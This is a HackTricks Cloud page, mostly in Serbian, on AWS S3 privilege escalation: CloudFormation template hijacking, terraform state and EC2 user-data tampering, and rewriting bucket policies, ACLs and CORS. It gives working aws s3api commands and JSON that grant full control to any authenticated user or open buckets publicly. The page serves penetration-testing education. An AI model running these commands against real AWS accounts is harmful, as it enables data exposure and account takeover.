AWS - S3 Privesc
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
S3
s3:PutBucketNotification, s3:PutObject, s3:GetObject
Napadač sa tim dozvolama nad interesantnim buckets-ima mogao bi da otme resurse i eskalira privilegije.
Na primer, napadač sa tim dozvolama nad cloudformation bucket-om nazvanim “cf-templates-nohnwfax6a6i-us-east-1” biće u mogućnosti da otme deployment. Pristup se može dodeliti sledećom politikom:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}
I otmica je moguća zato što postoji mali vremenski prozor od trenutka kada se template otpremi u bucket do trenutka kada se template deploy-uje. Napadač može jednostavno da kreira lambda function u svom nalogu koja će pokrenuti kada se pošalje bucket notification, i otme content tog bucket-a.
.png)
Pacu module cfn__resouce_injection može da se koristi za automatizaciju ovog napada.
Za više informacija pogledajte originalno istraživanje: https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/
s3:PutObject, s3:GetObject
Ova permisija omogućava preuzimanje i otpremanje objekata na S3. Više servisa unutar AWS (i izvan njega) koristi S3 storage za čuvanje config fajlova.
Napadač sa read access-om na njih može pronaći osetljive informacije u njima.
Napadač sa write access-om može izmeniti podatke da zloupotrebi neki servis i pokuša da eskalira privilegije.
Evo nekoliko primera:
- Ako EC2 instance čuva user data u S3 bucket-u, napadač bi mogao da ga izmeni da izvrši proizvoljni kod unutar EC2 instance.
s3:PutObject, s3:GetObject (optional) over terraform state file
Veoma je često da se terraform state fajlovi čuvaju u blob storage-u cloud provajdera, npr. AWS S3. Sufiks fajla za state je .tfstate, a nazivi bucket-a često otkrivaju da sadrže terraform state fajlove. Obično, svaki AWS nalog ima bar jedan takav bucket za čuvanje state fajlova koji prikazuju stanje naloga.
Takođe, u realnim nalozima gotovo uvek svi developeri imaju s3:*, a ponekad i poslovni korisnici imaju s3:Put*.
Dakle, ako imate gore navedene permisije nad tim fajlovima, postoji vektor napada koji vam omogućava da dobijete RCE u pipeline-u sa privilegijama terraform - većinom AdministratorAccess, čineći vas administratorom cloud naloga. Takođe, možete iskoristiti taj vektor za denial of service napad tako što ćete naterati terraform da obriše legitimne resurse.
Pratite opis u sekciji Abusing Terraform State Files na strani Terraform Security za direktno upotrebljiv exploit kod:
s3:PutBucketPolicy
Napadač koji mora biti iz istog naloga, inače će se pojaviti greška The specified method is not allowed will trigger, sa ovom permisijom će moći da sebi dodeli više prava nad bucket-om/ovima, omogućavajući mu da čita, piše, menja, briše i izlaže bucket-e.
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}
## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}
s3:GetBucketAcl, s3:PutBucketAcl
Napadač može zloupotrebiti ova ovlašćenja da sebi dodeli veći pristup određenim buckets.
Imajte na umu da napadač ne mora biti iz istog naloga. Štaviše, write access
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectAcl
An attacker može zloupotrebiti ove dozvole kako bi sebi dodelio veći pristup određenim objektima unutar buckets.
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectVersionAcl
Očekuje se da napadač sa ovim privilegijama može da postavi Acl na određenu verziju objekta.
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
s3:PutBucketCORS
Napadač koji ima dozvolu s3:PutBucketCORS može izmeniti CORS (Cross-Origin Resource Sharing) konfiguraciju bucket-a, koja kontroliše koje web domene mogu pristupiti njegovim endpoint-ima. Ako postavi previše otvorenu politiku, bilo koji sajt može slati direktne zahteve ka bucket-u i čitati odgovore iz pregledača.
To znači da, potencijalno, ako se autentifikovani korisnik neke web aplikacije koja je hostovana iz bucket-a nađe na napadačevom sajtu, napadač bi mogao iskoristiti previše otvorenu CORS politiku i, u zavisnosti od aplikacije, pristupiti korisnikovim podacima profila ili čak preuzeti korisnički nalog.
aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

